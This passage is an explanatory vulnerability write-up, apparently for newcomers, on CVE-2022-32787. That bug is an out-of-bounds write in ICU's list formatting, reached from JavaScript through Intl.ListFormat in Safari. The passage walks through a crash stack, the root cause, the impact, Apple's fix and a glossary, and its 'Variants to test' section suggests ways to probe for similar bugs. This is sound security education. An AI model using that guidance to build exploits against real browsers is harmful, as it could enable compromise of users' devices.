29 WebKit 0x7ff917d5f87b WTF::Detail::CallableWrapper<IPC::Connection::enqueueIncomingMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >)::$_13, void>::call() + 197
30 JavaScriptCore 0x7ff82d13adcf WTF::RunLoop::performWork() + 431
31 JavaScriptCore 0x7ff82d13b8ba WTF::RunLoop::performWork(void*) + 26
32 CoreFoundation 0x7ff813863aeb [redacted] + 17
33 CoreFoundation 0x7ff813863a53 __CFRunLoopDoSource0 + 180
34 CoreFoundation 0x7ff8138637cd __CFRunLoopDoSources0 + 242
35 CoreFoundation 0x7ff8138621e8 __CFRunLoopRun + 892
36 CoreFoundation 0x7ff8138617ac CFRunLoopRunSpecific + 562
37 Foundation 0x7ff8146b5d9a -[NSRunLoop(NSRunLoop) runMode:beforeDate:] + 216
38 Foundation 0x7ff8147408d7 -[NSRunLoop(NSRunLoop) run] + 76
39 libxpc.dylib 0x7ff8134e1816 _xpc_objc_main + 773
40 libxpc.dylib 0x7ff8134e1239 xpc_main + 99
41 WebKit 0x7ff917bed759 WebKit::XPCServiceMain(int, char const**) + 85
42 dyld 0x11811e51e start + 462
How to read it:
- Each line has a frame number, the library or framework the code lives in, the memory address of the code, the function name, and an offset into that function.
- Frame 0 is
icu::FormattedStringBuilder::insert, the function we examined above. That is where the crash happened. - Frames 1 to 6 stay inside
libicucore.A.dylib: the otherinsertoverload, an unnamed function,ListFormatter::formatStringsToValue, twoListFormatter::formatoverloads, andulistfmt_format. - Frame 7 is JavaScriptCore's
JSC::IntlListFormat::format, the bridge from JavaScript into ICU. - Frame 8 shows
???, meaning the tool could not name that frame. - Frames 9 to 12 are JavaScriptCore running the page's script: the low-level interpreter entry, the transition into JavaScript, program execution, and evaluation.
- Frames 13 to 19 are WebCore, the rendering engine: evaluating the script in a world, executing the script element, preparing it, running it, and the HTML parser feeding it.
- Frames 20 to 29 cover the document and network loading path, including WebKit's inter-process communication (IPC), the mechanism by which the web content process and the rest of the browser exchange messages.
- Frames 30 to 42 are the run loop and process start-up: CoreFoundation, Foundation, the XPC service entry point, and
dyld, the dynamic loader that starts a program.
The stack confirms the path from the page's script element through JavaScriptCore's IntlListFormat::format and ulistfmt_format into ListFormatter and finally FormattedStringBuilder::insert, which is frame 0.
Root cause
The bug is in FormattedStringBuilder::insert. The function computes realCount from the requested slice and then asks prepareForInsert where to place the data, storing the answer in position. The advisory states that in the failing case this return value is very large, and that the subsequent writes at [2] use it as an offset, so the character and field values are written outside the buffer. The advisory describes the result as the ability to write arbitrary data to an arbitrary address.
In everyday terms: the function asks "where do I start writing?" and uses the answer as the place to write. When the answer is a huge number, every write lands far away from the intended spot.
The advisory does not go further into why prepareForInsert returns that value, and it does not discuss which checks or mitigations were present. The crash shows the write reaching an unmapped page, which is what turns the corruption into a visible fault rather than a silent overwrite.
Impact
An attacker who can run arbitrary JavaScript in Safari can trigger the out-of-bounds write through Intl.ListFormat().format. The advisory states that the vulnerability can be used to write arbitrary data to an arbitrary address, which is the kind of primitive that can be built into further exploitation. The advisory does not describe a full exploit chain, does not state a severity score, and does not say what an attacker achieves beyond the write primitive. The affected products and versions are those listed in the table above.
For a newcomer, the important part is the phrase "write arbitrary data to an arbitrary address". It means the report describes a write of arbitrary data to an arbitrary address, rather than corruption of one nearby value. That is a powerful starting point, which is why memory corruption bugs of this kind are taken seriously even when the public report stops at the crash.
Fix
Apple addressed the issue in iOS 15.6 and iPadOS 15.6, with the security content published at https://support.apple.com/HT213346. The advisory lists the affected versions as iOS 15.6 / iPadOS 15.6, macOS Monterey 12.5, Big Sur 11.6.8, Catalina Security Update 2022-005, watchOS 8.7 and tvOS 15.6. The advisory does not describe the code change itself.
For a user, the practical takeaway is the usual one: install operating system updates.
Variants to test
These are directions a researcher might explore to see whether the same class of mistake appears elsewhere. Each comes with what a positive result would look like.
- Other
Intlentry points that build strings through ICU formatters, such as list, relative time and date-time formatting. A positive result is a crash withFormattedStringBuilder::insertin frame 0 and a faulting address outside the mapped heap region. - Varying the element count and the length of the repeated string around the values in the proof of concept. A positive result is the same
EXC_BAD_ACCESSwrite fault at a different address, showing the offset is controlled by the input. - The same
Intl.ListFormat().formatcall on other WebKit-based browsers and embedded web views on the affected OS versions. A positive result is the same call stack throughulistfmt_formatandListFormatter. - Other platforms that embed ICU and expose
ListFormatterto untrusted input. A positive result is an out-of-bounds write or crash inFormattedStringBuilder::insertwhen formatting a very large list.
Glossary
- API (Application Programming Interface): a defined way for one piece of software to ask another to do something, such as
Intl.ListFormatasking ICU to format a list. - Allocation: a block of memory a program has reserved for its own use.
- Bidirectional isolate characters: invisible control characters that mark a piece of text so it is ordered separately when mixing left-to-right and right-to-left scripts.
- Buffer: a region of memory used to hold data, here the character array and the parallel field array inside
FormattedStringBuilder. - Call stack: the list of function calls currently in progress, newest first, as shown in a crash report.
- CVE (Common Vulnerabilities and Exposures): a public catalogue number that uniquely identifies a security vulnerability, here CVE-2022-32787.
- Dynamic library (
.dylib): a bundle of compiled code shared by many programs on macOS and iOS, such aslibicucore.A.dylib. - Fault: the operating system stopping a program because it attempted an illegal memory operation.
- Frame: one entry in a call stack, representing one function call.
- Heap: the general-purpose pool of memory a program uses for data created while it runs.
- Hexadecimal: base-16 number notation, written with a
0xprefix, used for memory addresses and sizes. - ICU (International Components for Unicode): a widely used library for handling text across languages, including list, date and number formatting.
- Instruction pointer (
rip): the CPU register holding the address of the instruction currently being executed. - IPC (Inter-Process Communication): the mechanism by which separate processes, such as the web content process and the browser, exchange messages.
- JavaScript: the programming language that runs in web pages and makes them interactive.
- JavaScriptCore: Safari's JavaScript engine, which executes page scripts.
- Memory corruption: a bug class where a program writes to memory it does not own, making its behaviour unpredictable.
- Offset: a distance added to a starting address to reach a destination.
- Out-of-bounds write: writing data outside the memory region a program reserved, potentially overwriting other data.
- Pointer: a value that records the memory address of something, like a house address.
- Primitive: a small, reliable capability that a larger attack can be built from, such as an out-of-bounds write.
- Register: a small, very fast storage slot inside the CPU, saved in crash reports.
- Segmentation fault (SIGSEGV): the signal raised when a program accesses memory it is not permitted to access.
- UnicodeString: ICU's text type, holding a sequence of Unicode characters.
- VM region: a contiguous block of a process's virtual address space with its own permissions, as listed in a crash report.
- WebCore: the rendering engine inside WebKit that parses HTML and runs scripts.
- WebKit: the browser engine used by Safari, comprising WebCore and JavaScriptCore among other parts.
- XPC: Apple's mechanism for communication between processes, used by the browser's service processes.